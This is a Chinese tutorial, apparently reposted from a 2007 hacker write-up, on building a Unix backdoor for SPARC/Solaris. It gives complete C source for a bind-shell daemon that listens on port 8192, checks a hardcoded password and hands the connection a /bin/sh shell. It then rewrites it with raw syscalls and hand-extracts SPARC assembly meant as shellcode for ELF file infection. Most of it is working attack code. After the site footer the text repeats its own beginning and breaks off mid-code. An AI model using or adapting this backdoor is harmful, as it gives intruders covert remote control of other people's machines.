SPARC/Solaris下的Unix后门初探(1)
时间:2007-02-17 来源:PHP爱好者
无论从感染ELF文件角度还是编写远程shellcode角度都有必要研究SPARC/Solaris下
的网络系统调用。这个方向并没有现成的资料,我也是摸着石头过河,给大家探个路。
--------------------------------------------------------------------------
/* gcc -g -ggdb -o s s.c -lsocket */
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int s, c;
struct sockaddr_in serv_addr;
char * name[2];
char pass[9] = "xxxxxxxx";
int main ( int argc, char * argv[] )
{
if ( fork() == 0 ) /* 子进程 */
{
setsid(); /* become session leader */
signal( SIGHUP, SIG_IGN );
if ( fork() == 0 ) /* 子进程 */
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0x2000; // 端口8192
// 创建TCP套接字,这里与Linux有区别
s = socket( 2, 2, 6 );
bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
listen( s, 1 );
signal( SIGCHLD, SIG_IGN );
while ( 1 )
{
c = accept( s, 0, 0 );
if ( fork() == 0 ) /* 子进程 */
{
close( s );
/* 用c进行通信,做一次弱验证保护 */
while ( strcmp( pass, "12345678" ) != 0 )
{
read( c, pass, 8 );
}
// 准备输入输出重定向,标准技术
dup2( c, 0 );
dup2( c, 1 );
dup2( c, 2 );
close( c ); /* 这里可以关闭c */
name[0] = "/bin/sh";
name[1] = 0;
execve( name[0], name, 0 );
exit( 0 ); /* 防止execve()失败 */
}
close( c ); /* 这里必须关闭c */
} /* end of while */
}
}
return( 0 ); /* 父进程 */
} /* end of main */
--------------------------------------------------------------------------
该程序只能编译成动态版本,如果指定-static,发现
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o s s.c -lsocket
未定义符号 在文件中
endnetconfig /usr/lib/libsocket.a(_soutil.o)
setnetconfig /usr/lib/libsocket.a(_soutil.o)
getnetconfig /usr/lib/libsocket.a(_soutil.o)
ld: 致命的: 符号参照错误. 没有输出被写入s
[scz@ /space/staff/scz/src]>
我尝试了/usr/lib和/lib下的很多库,都无法解决这个问题。后来拷贝
/usr/lib/libsocket.a到当前目录,用ar dv ./libsocket.a _soutil.o处理,然后
链接一样失败。甚至ar xv ./libsocket.a后用ld命令进行手工链接,依旧存在外部
符号无着落的问题。
大家知道,没有静态版本,要想得到一个精简的汇编代码版本是不可能的,总不能在
浩如烟海的动态链接库里单步跟踪下去判断中断调用发生在哪里。还好,可以用
truss跟踪。适当调整上述代码,用truss跟踪后有如下内容:
setsid() = 2260
sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8) = 0
so_socket(2, 2, 6, "", 1) = 3
bind(3, 0x00021E60, 16) = 0
listen(3, 1) = 0
sigaction(SIGCLD, 0xEFFFFC58, 0xEFFFFCD8) = 0
accept(3, 0x00000000, 0x00000000) (sleeping...)
这堆信息就不用我再废话解释了吧。ok,至此我们有了一个绝妙的想法,既然得不到
静态版本主要由于libsocket.a外部符号无着落,那么我用syscall呢?直接进行相对
底层的系统调用,呵呵,其实以前很少用syscall的,这次也是被逼无奈嘛。现在可
以抛弃-lsocket链接开关了,这只猪害人不浅。
关于setsid(),如果用gdb反汇编一路看下去,还是很快定位到中断调用的,但是我
们可以直接观察/usr/include/sys/syscall.h,第39号系统调用的注释中有:
setsid() == syscall( 39, 3 ) == syscall( SYS_pgrpsys, 3 )
显然可以直接替换setsid()。至于signal,对应48号系统调用(SYS_signal),也直接
利用syscall完成。
--------------------------------------------------------------------------
// gcc -g -ggdb -static -o s s.c
// 使用syscall之后,可以抛弃-lsocket链接开关
// 由于libsocket.a有点问题,存在外部符号无着落,无法使用静态链接开关
// 但是现在我们抛开了libsocket.a,可以指定-static了,哈哈
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/syscall.h>
#include <fcntl.h>
int s, c;
struct sockaddr_in serv_addr;
char * name[2];
char pass[9] = "xxxxxxxx";
int main ( int argc, char * argv[] )
{
if ( fork() == 0 ) /* 子进程 */
{
// setsid(); /* become session leader */
// SYS_pgrpsys
syscall( 39, 3 );
// signal( SIGHUP, SIG_IGN );
// SYS_signal
syscall( 48, 1, 1 );
if ( fork() == 0 ) /* 子进程 */
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
// 使用big endian序
serv_addr.sin_port = 0x2000; // 端口8192
// 创建TCP套接字,这里与Linux有区别
// s = socket( 2, 2, 6 );
// SYS_so_socket
s = syscall( 230, 2, 2, 6 );
// bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
// SYS_bind
syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 );
// listen( s, 1 );
// SYS_listen
syscall( 233, s, 1 );
// signal( SIGCHLD, SIG_IGN );
syscall( 48, 18, 1 );
while ( 1 )
{
// c = accept( s, 0, 0 );
// SYS_accept
c = syscall( 234, s, 0, 0 );
if ( fork() == 0 ) /* 子进程 */
{
// close( s );
// SYS_close
syscall( 6, s );
/* 用c进行通信,做一次弱验证保护 */
while ( strcmp( pass, "12345678" ) != 0 )
{
// read( c, pass, 8 );
// SYS_read
syscall( 3, c, pass, 8 );
}
// 准备输入输出重定向,标准技术
// dup2( c, 0 );
// dup2( c, 1 );
// dup2( c, 2 );
// SPARC/Solaris没有单独实现dup2,而是用fcntl实现
// 有点其他问题,请参看APUE,天晓得发生了什么
// syscall( SYS_fcntl, c, F_DUP2FD, 0 );
syscall( 62, c, 9, 0 );
syscall( 62, c, 9, 1 );
syscall( 62, c, 9, 2 );
// close( c ); /* 这里可以关闭c */
syscall( 6, c );
name[0] = "/bin/sh";
name[1] = 0;
execve( name[0], name, 0 );
// exit( 0 ); /* 防止execve()失败 */
// SYS_exit
syscall( 1, 0 );
}
// close( c ); /* 这里必须关闭c */
syscall( 6, c );
} /* end of while */
}
}
return( 0 ); /* 父进程 */
} /* end of main */
--------------------------------------------------------------------------
对于fork(),可以gdb ./s后disas _libc_fork查看。粗略浏览一遍之后,觉得基本
上每个系统调用都能得到机器码,下面着手细化每个系统调用,毕竟和i386/Linux不
同了。
--------------------------------------------------------------------------
0x101c0 <main+12> : call 0x1267c <fork>
0x101c4 <main+16> : nop
0x101c8 <main+20> : cmp %o0, 0
0x101cc <main+24> : bne 0x10434 <main+640>
0x101d0 <main+28> : nop
0x131c4 <_libc_fork> : mov 2, %g1 ! 0x2
0x131c8 <_libc_fork+4> : ta 8
0x131cc <_libc_fork+8> : bcc 0x131e0 <_libc_fork+28>
0x131d0 <_libc_fork+12>: sethi %hi(0x16000), %o5
0x131d4 <_libc_fork+16>: or %o5, 0x90, %o5 ! 0x16090 <_cerror>
0x131d8 <_libc_fork+20>: jmp %o5
0x131dc <_libc_fork+24>: nop
0x131e0 <_libc_fork+28>: tst %o1
0x131e4 <_libc_fork+32>: bne,a 0x131ec <_libc_fork+40>
0x131e8 <_libc_fork+36>: mov %g0, %o0
0x131ec <_libc_fork+40>: retl
0x131f0 <_libc_fork+44>: nop
--------------------------------------------------------------------------
综合判断后提炼如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 2, %g1
ta 8
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽,注意理解延迟插槽的执行顺序
call .+8
nop
nop ! 需要替换,此时%o0为0,子进程继续
");
} /* end of main */
--------------------------------------------------------------------------
可以用truss ./asm观察一下上述代码是否成功执行了fork()系统调用,man手册里提
到fork()失败会返回-1。
下面来观察syscall( 39, 3 ):
--------------------------------------------------------------------------
0x101d4 <main+32> : mov 0x27, %o0 ! 0x27
0x101d8 <main+36> : mov 3, %o1
0x101dc <main+40> : call 0x10fec <syscall>
0x101e0 <main+44> : nop
0x10fec <syscall> : clr %g1
0x10ff0 <syscall+4> : ta 8
0x10ff4 <syscall+8> : bcc 0x11008 <syscall+28>
0x10ff8 <syscall+12>: sethi %hi(0x16000), %o5
0x10ffc <syscall+16>: or %o5, 0x90, %o5 ! 0x16090 <_cerror>
0x11000 <syscall+20>: jmp %o5
0x11004 <syscall+24>: nop
0x11008 <syscall+28>: retl
0x1100c <syscall+32>: nop
--------------------------------------------------------------------------
综合判断后提炼如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x27, %o0
mov 3, %o1
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
同样可以用truss ./asm观察一下上述代码是否成功执行了setsid()系统调用。
下面来观察syscall( 48, 1, 1 ):
--------------------------------------------------------------------------
0x101e4 <main+48>: mov 0x30, %o0 ! 0x30
0x101e8 <main+52>: mov 1, %o1
0x101ec <main+56>: mov 1, %o2
0x101f0 <main+60>: call 0x10fec <syscall>
0x101f4 <main+64>: nop
--------------------------------------------------------------------------
综合判断后提炼如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
有了上面的研究基础,下面直接编写syscall( 1, 0 ):
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x01, %o0
clr %o1
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
ok,到此为止,我们不急于分析网络系统调用,计划先整和出一个汇编版本的daemon
框架:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 2, %g1
ta 8
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
mov 0x27, %o0 ! 此前%o0为0,子进程继续
mov 3, %o1
clr %g1
ta 8
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8
mov 2, %g1
ta 8
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
exit:
mov 0x01, %o0
clr %o1
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
哈哈,虽然SPARC总是和我过不去,可也要留下点回忆嘛。
接下来观察s = syscall( 230, 2, 2, 6 ):
--------------------------------------------------------------------------
0x10244 <main+144>: mov 0xe6, %o0
0x10248 <main+148>: mov 2, %o1
0x1024c <main+152>: mov 2, %o2
0x10250 <main+156>: mov 6, %o3
0x10254 <main+160>: call 0x10fec <syscall>
0x10258 <main+164>: nop
0x1025c <main+168>: sethi %hi(0x27800), %o1
0x10260 <main+172>: st %o0, [ %o1 + 0x1b4 ] ! 0x279b4 <s>
--------------------------------------------------------------------------
从这里可以看出s由%o0返回,其余的对于我们已经不新鲜了:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0xe6, %o0
mov 0x02, %o1
mov 0x02, %o2
mov 0x06, %o3
clr %g1
ta 8
st %o0, [ %l7 ] ! [ %l7 ]存放s
");
} /* end of main */
--------------------------------------------------------------------------
如果去掉最后的st指令,可以用truss ./asm检验效果,最后的st指令是保存s的意思,
这里假设%l7已经指向正确的内存空间。
接下来观察syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 ):
--------------------------------------------------------------------------
0x1020c <main+88> : sethi %hi(0x27800), %o0
0x10210 <main+92> : mov 2, %o1
0x10214 <main+96> : sth %o1, [ %o0 + 0x1b8 ] ! serv_addr.sin_family = 2;
0x10218 <main+100>: sethi %hi(0x27800), %o0
0x1021c <main+104>: mov 4, %o1
0x10220 <main+108>: or %o0, 0x1b8, %o2 ! 0x279b8 <serv_addr>
0x10224 <main+112>: add %o1, %o2, %o0 ! 0x279bc <serv_addr+4>
0x10228 <main+116>: clr [ %o0 ] ! serv_addr.sin_addr.s_addr = 0;
0x1022c <main+120>: sethi %hi(0x27800), %o0
0x10230 <main+124>: mov 2, %o1
0x10234 <main+128>: or %o0, 0x1b8, %o2 ! 0x279b8 <serv_addr>
0x10238 <main+132>: add %o1, %o2, %o0 ! 0x279ba <serv_addr+2>
0x1023c <main+136>: sethi %hi(0x2000), %o1
0x10240 <main+140>: sth %o1, [ %o0 ] ! serv_addr.sin_port = 0x2000;
0x10264 <main+176>: sethi %hi(0x27800), %o1
0x10268 <main+180>: mov 0xe8, %o0
0x1026c <main+184>: ld [ %o1 + 0x1b4 ], %o1 ! %o1设置成s
0x10270 <main+188>: sethi %hi(0x27800), %o3
0x10274 <main+192>: or %o3, 0x1b8, %o2 ! 0x279b8 <serv_addr>
0x10278 <main+196>: mov 0x10, %o3 ! 16
0x1027c <main+200>: call 0x10fec <syscall>
0x10280 <main+204>: nop
--------------------------------------------------------------------------
这两段比较晦涩难懂,我也无法确认该如何提炼,先尝试如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 2, %o1
sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family
clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port
mov 0xe8, %o0 ! 第一个参数232
ld [ %l7 ], %o1 ! 第二个参数s
mov 4, %o2
add %l7, %o2, %o2 ! 第三个参数&serv_addr
mov 0x10, %o3 ! 最后一个参数16
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
不用观察syscall( 233, s, 1 )、syscall( 48, 18, 1 ),直接编写它们:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0xe9, %o0 ! 第一个参数233
ld [ %l7 ], %o1 ! 第二个参数s
mov 0x01, %o2 ! 第三个参数1
clr %g1
ta 8
mov 0x30, %o0
mov 0x12, %o1
mov 0x01, %o2
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
下面是c = syscall( 234, s, 0, 0 )的相关代码片段,尚未提炼:
--------------------------------------------------------------------------
0x102c0 <main+268>: sethi %hi(0x27800), %o1
0x102c4 <main+272>: mov 0xea, %o0
0x102c8 <main+276>: ld [ %o1 + 0x1b4 ], %o1
0x102cc <main+280>: clr %o2
0x102d0 <main+284>: clr %o3
0x102d4 <main+288>: call 0x10fec <syscall>
0x102d8 <main+292>: nop
0x102dc <main+296>: sethi %hi(0x27800), %o1
0x102e0 <main+300>: st %o0, [ %o1 + 0x1b0 ] ! 0x279b0 <c>
--------------------------------------------------------------------------
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0xea, %o0
ld [ %l7 ], %o1 ! 第二个参数s
clr %o2
clr %o3
clr %g1
ta 8
st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c
");
} /* end of main */
--------------------------------------------------------------------------
一个更加残酷的问题摆到了革命群众的面前。Linux下有125号系统调用,
SPARC/Solaris呢?我在Linux的/usr/include/bits/syscall.h中大海捞针一般地找
到了125号系统调用的符号名SYS_mprotect,于是转回SUN下在
/usr/include/sys/syscall.h中查找SYS_mprotect,还好,116号系统调用就是的。
可入口参数呢?我怎么知道那些破破的SPARC芯片寄存器中哪个该设置成相关参数呢?
如果你以为革命群众已经到了最后关头,那就太不具备革命乐观主义精神了。万般无
奈下,我man mprotect了,呼呼,居然有东西出现,那么下面就不要废话啦,先赶快
提取mprotect的汇编码:
--------------------------------------------------------------------------
/* gcc -o test test.c */
#include <stdio.h>
#include <errno.h>
#include <sys/mman.h>
int main ( int argc, char * argv[] )
{
char * buf;
char c;
/* 分配一块内存,拥有缺省的rw-保护 */
buf = ( char * )malloc( 1024 + 4096 - 1 );
if ( !buf )
{
perror( "Couldn't malloc( 1024 )" );
exit( errno );
}
/* Align to a multiple of PAGESIZE, assumed to be a power of two */
buf = ( char * )( ( ( unsigned long )buf + 4096 - 1 ) & ~( 4096 - 1 ) );
c = buf[77]; /* Read ok */
buf[77] = c; /* Write ok */
printf( "okn" );
/* Mark the buffer read-only. */
// 必须保证这里buf位于页边界上,否则mprotect()失败,报告无效参数 */
if ( mprotect( buf, 1024, PROT_READ ) )
{
perror( "nCouldn't mprotect" );
exit( errno );
}
c = buf[77]; /* Read ok */
buf[77] = c; /* Write error, program dies on SIGSEGV */
exit( 0 );
} /* end of main */
--------------------------------------------------------------------------
[scz@ /export/home/scz/src]> gcc -o test test.c
[scz@ /export/home/scz/src]> ./test
ok
段错误 (core dumped) <-- -- -- 内存保护起作用了
[scz@ /export/home/scz/src]>
用gdb ./test看到如下入口参数:
--------------------------------------------------------------------------
0x10bc4 <main+152>: ld [ %fp + -20 ], %o0
0x10bc8 <main+156>: mov 0x400, %o1
0x10bcc <main+160>: mov 1, %o2
0x10bd0 <main+164>: call 0x21874 <mprotect>
0x10bd4 <main+168>: nop
--------------------------------------------------------------------------
同样,并不直接使用mprotect系统调用,依旧采用syscall的方式,我们编写如下代
码:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x74, %o0 ! 第一个参数116
sethi %hi(0x10000), %o1 ! 第二参数,起始地址
sethi %hi(0x00002000), %o2 ! 第三个参数8096
mov 0x07, %o3 ! 第四个参数7,rwx
clr %g1
ta 8
! call . ! 用于调试,设置个无限循环,然后用pmap观察
! nop
");
} /* end of main */
--------------------------------------------------------------------------
别看目前代码这样清晰明了,可是费了不少手脚。关键需要注意的地方是起始地址必
须位于页边界上,将来我们可以取得_start之后与一个0xffff0000。甚至再简单点,
直接就使用上面这段代码,据我观察很多应用程序的_start都在0x10000到0x20000之
间。其次,这里想到了另外一个问题,6.c和7.c在文本段中只设置了4096字节的可读
可写区域,所以重复感染的次数不能太多,即使设置了4*4096字节的可读可写区域,
也不能重复感染太多次,否则就会出现段溢出错误,因为可能对只读内存区域进行了
写操作;再说重复感染多次,文件尺寸的激增也容易暴露,没有必要。我们这里姑且
先固定地使用0x10000做起始地址,回头打印一下通过程序找到的文本段起始地址,
看看是否符合页边界对齐的要求,如果符合,就可以动态设置起始地址。再说吧,
SPARC下罗嗦了许多。
我们可以整合出一个daemon,这个daemon监听8192端口:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x74, %o0 ! 第一个参数116
sethi %hi(0x10000), %o1 ! 第二参数,起始地址
sethi %hi(0x00002000), %o2 ! 第三个参数8096
mov 0x07, %o3 ! 第四个参数7,rwx
clr %g1
ta 8
bn,a .-4 ! 跳转去执行call .-4指令
bn,a .-4 ! 跳转去执行nop
call .-4 ! 跳转去执行前面这条bn,a .-4指令
nop ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次
add %o7, 172, %l7 ! %o7 + 172 指向本段代码尾部
mov 0xe6, %o0
mov 0x02, %o1
mov 0x02, %o2
mov 0x06, %o3
clr %g1
ta 8
st %o0, [ %l7 ] ! [ %l7 ]存放s
mov 2, %o1
sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family
clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port
mov 0xe8, %o0 ! 第一个参数232
ld [ %l7 ], %o1 ! 第二个参数s
mov 4, %o2
add %l7, %o2, %o2 ! 第三个参数&serv_addr
mov 0x10, %o3 ! 最后一个参数16
clr %g1
ta 8
mov 0xe9, %o0 ! 第一个参数233
ld [ %l7 ], %o1 ! 第二个参数s
mov 0x01, %o2 ! 第三个参数1
clr %g1
ta 8
mov 0x30, %o0
mov 0x12, %o1
mov 0x01, %o2
clr %g1
ta 8
mov 0xea, %o0
ld [ %l7 ], %o1 ! 第二个参数s
clr %o2
clr %o3
clr %g1
ta 8
st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c
exit:
mov 0x01, %o0
clr %o1
clr %g1
ta 8
.ascii "xxxxxxxx"
.ascii "xxxxxxxx"
.ascii "xxxxxxxx"
.ascii "xxxxxxxx"
");
} /* end of main */
--------------------------------------------------------------------------
php爱好者站 http://www.phpfans.net PHP|MySQL|javascript|ajax|html.
的网络系统调用。这个方向并没有现成的资料,我也是摸着石头过河,给大家探个路。
--------------------------------------------------------------------------
/* gcc -g -ggdb -o s s.c -lsocket */
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int s, c;
struct sockaddr_in serv_addr;
char * name[2];
char pass[9] = "xxxxxxxx";
int main ( int argc, char * argv[] )
{
if ( fork() == 0 ) /* 子进程 */
{
setsid(); /* become session leader */
signal( SIGHUP, SIG_IGN );
if ( fork() == 0 ) /* 子进程 */
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0x2000; // 端口8192
// 创建TCP套接字,这里与Linux有区别
s = socket( 2, 2, 6 );
bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
listen( s, 1 );
signal( SIGCHLD, SIG_IGN );
while ( 1 )
{
c = accept( s, 0, 0 );
if ( fork() == 0 ) /* 子进程 */
{
close( s );
/* 用c进行通信,做一次弱验证保护 */
while ( strcmp( pass, "12345678" ) != 0 )
{
read( c, pass, 8 );
}
// 准备输入输出重定向,标准技术
dup2( c, 0 );
dup2( c, 1 );
dup2( c, 2 );
close( c ); /* 这里可以关闭c */
name[0] = "/bin/sh";
name[1] = 0;
execve( name[0], name, 0 );
exit( 0 ); /* 防止execve()失败 */
}
close( c ); /* 这里必须关闭c */
} /* end of while */
}
}
return( 0 ); /* 父进程 */
} /* end of main */
--------------------------------------------------------------------------
该程序只能编译成动态版本,如果指定-static,发现
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o s s.c -lsocket
未定义符号 在文件中
endnetconfig /usr/lib/libsocket.a(_soutil.o)
setnetconfig /usr/lib/libsocket.a(_soutil.o)
getnetconfig /usr/lib/libsocket.a(_soutil.o)
ld: 致命的: 符号参照错误. 没有输出被写入s
[scz@ /space/staff/scz/src]>
我尝试了/usr/lib和/lib下的很多库,都无法解决这个问题。后来拷贝
/usr/lib/libsocket.a到当前目录,用ar dv ./libsocket.a _soutil.o处理,然后
链接一样失败。甚至ar xv ./libsocket.a后用ld命令进行手工链接,依旧存在外部
符号无着落的问题。
大家知道,没有静态版本,要想得到一个精简的汇编代码版本是不可能的,总不能在
浩如烟海的动态链接库里单步跟踪下去判断中断调用发生在哪里。还好,可以用
truss跟踪。适当调整上述代码,用truss跟踪后有如下内容:
setsid() = 2260
sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8) = 0
so_socket(2, 2, 6, "", 1) = 3
bind(3, 0x00021E60, 16) = 0
listen(3, 1) = 0
sigaction(SIGCLD, 0xEFFFFC58, 0xEFFFFCD8) = 0
accept(3, 0x00000000, 0x00000000) (sleeping...)
这堆信息就不用我再废话解释了吧。ok,至此我们有了一个绝妙的想法,既然得不到
静态版本主要由于libsocket.a外部符号无着落,那么我用syscall呢?直接进行相对
底层的系统调用,呵呵,其实以前很少用syscall的,这次也是被逼无奈嘛。现在可
以抛弃-lsocket链接开关了,这只猪害人不浅。
关于setsid(),如果用gdb反汇编一路看下去,还是很快定位到中断调用的,但是我
们可以直接观察/usr/include/sys/syscall.h,第39号系统调用的注释中有:
setsid() == syscall( 39, 3 ) == syscall( SYS_pgrpsys, 3 )
显然可以直接替换setsid()。至于signal,对应48号系统调用(SYS_signal),也直接
利用syscall完成。
--------------------------------------------------------------------------
// gcc -g -ggdb -static -o s s.c
// 使用syscall之后,可以抛弃-lsocket链接开关
// 由于libsocket.a有点问题,存在外部符号无着落,无法使用静态链接开关
// 但是现在我们抛开了libsocket.a,可以指定-static了,哈哈
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/syscall.h>
#include <fcntl.h>
int s, c;
struct sockaddr_in serv_addr;
char * name[2];
char pass[9] = "xxxxxxxx";
int main ( int argc, char * argv[] )
{
if ( fork() == 0 ) /* 子进程 */
{
// setsid(); /* become session leader */
// SYS_pgrpsys
syscall( 39, 3 );
// signal( SIGHUP, SIG_IGN );
// SYS_signal
syscall( 48, 1, 1 );
if ( fork() == 0 ) /* 子进程 */
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
// 使用big endian序
serv_addr.sin_port = 0x2000; // 端口8192
// 创建TCP套接字,这里与Linux有区别
// s = socket( 2, 2, 6 );
// SYS_so_socket
s = syscall( 230, 2, 2, 6 );
// bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
// SYS_bind
syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 );
// listen( s, 1 );
// SYS_listen
syscall( 233, s, 1 );
// signal( SIGCHLD, SIG_IGN );
syscall( 48, 18, 1 );
while ( 1 )
{
// c = accept( s, 0, 0 );
// SYS_accept
c = syscall( 234, s, 0, 0 );
if ( fork() == 0 ) /* 子进程 */
{
// close( s );
// SYS_close
syscall( 6, s );
/* 用c进行通信,做一次弱验证保护 */
while ( strcmp( pass, "12345678" ) != 0 )
{
// read( c, pass, 8 );
// SYS_read
syscall( 3, c, pass, 8 );
}
// 准备输入输出重定向,标准技术
// dup2( c, 0 );
// dup2( c, 1 );
// dup2( c, 2 );
// SPARC/Solaris没有单独实现dup2,而是用fcntl实现
// 有点其他问题,请参看APUE,天晓得发生了什么
// syscall( SYS_fcntl, c, F_DUP2FD, 0 );
syscall( 62, c, 9, 0 );
syscall( 62, c, 9, 1 );
syscall( 62, c, 9, 2 );
// close( c ); /* 这里可以关闭c */
syscall( 6, c );
name[0] = "/bin/sh";
name[1] = 0;
execve( name[0], name, 0 );
// exit( 0 ); /* 防止execve()失败 */
// SYS_exit
syscall( 1, 0 );
}
// close( c ); /* 这里必须关闭c */
syscall( 6, c );
} /* end of while */
}
}
return( 0 ); /* 父进程 */
} /* end of main */
--------------------------------------------------------------------------
对于fork(),可以gdb ./s后disas _libc_fork查看。粗略浏览一遍之后,觉得基本
上每个系统调用都能得到机器码,下面着手细化每个系统调用,毕竟和i386/Linux不
同了。
--------------------------------------------------------------------------
0x101c0 <main+12> : call 0x1267c <fork>
0x101c4 <main+16> : nop
0x101c8 <main+20> : cmp %o0, 0
0x101cc <main+24> : bne 0x10434 <main+640>
0x101d0 <main+28> : nop
0x131c4 <_libc_fork> : mov 2, %g1 ! 0x2
0x131c8 <_libc_fork+4> : ta 8
0x131cc <_libc_fork+8> : bcc 0x131e0 <_libc_fork+28>
0x131d0 <_libc_fork+12>: sethi %hi(0x16000), %o5
0x131d4 <_libc_fork+16>: or %o5, 0x90, %o5 ! 0x16090 <_cerror>
0x131d8 <_libc_fork+20>: jmp %o5
0x131dc <_libc_fork+24>: nop
0x131e0 <_libc_fork+28>: tst %o1
0x131e4 <_libc_fork+32>: bne,a 0x131ec <_libc_fork+40>
0x131e8 <_libc_fork+36>: mov %g0, %o0
0x131ec <_libc_fork+40>: retl
0x131f0 <_libc_fork+44>: nop
--------------------------------------------------------------------------
综合判断后提炼如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 2, %g1
ta 8
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽,注意理解延迟插槽的执行顺序
call .+8
nop
nop ! 需要替换,此时%o0为0,子进程继续
");
} /* end of main */
--------------------------------------------------------------------------
可以用truss ./asm观察一下上述代码是否成功执行了fork()系统调用,man手册里提
到fork()失败会返回-1。
下面来观察syscall( 39, 3 ):
--------------------------------------------------------------------------
0x101d4 <main+32> : mov 0x27, %o0 ! 0x27
0x101d8 <main+36> : mov 3, %o1
0x101dc <main+40> : call 0x10fec <syscall>
0x101e0 <main+44> : nop
0x10fec <syscall> : clr %g1
0x10ff0 <syscall+4> : ta 8
0x10ff4 <syscall+8> : bcc 0x11008 <syscall+28>
0x10ff8 <syscall+12>: sethi %hi(0x16000), %o5
0x10ffc <syscall+16>: or %o5, 0x90, %o5 ! 0x16090 <_cerror>
0x11000 <syscall+20>: jmp %o5
0x11004 <syscall+24>: nop
0x11008 <syscall+28>: retl
0x1100c <syscall+32>: nop
--------------------------------------------------------------------------
综合判断后提炼如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x27, %o0
mov 3, %o1
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
同样可以用truss ./asm观察一下上述代码是否成功执行了setsid()系统调用。
下面来观察syscall( 48, 1, 1 ):
--------------------------------------------------------------------------
0x101e4 <main+48>: mov 0x30, %o0 ! 0x30
0x101e8 <main+52>: mov 1, %o1
0x101ec <main+56>: mov 1, %o2
0x101f0 <main+60>: call 0x10fec <syscall>
0x101f4 <main+64>: nop
--------------------------------------------------------------------------
综合判断后提炼如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
有了上面的研究基础,下面直接编写syscall( 1, 0 ):
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x01, %o0
clr %o1
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
ok,到此为止,我们不急于分析网络系统调用,计划先整和出一个汇编版本的daemon
框架:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 2, %g1
ta 8
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
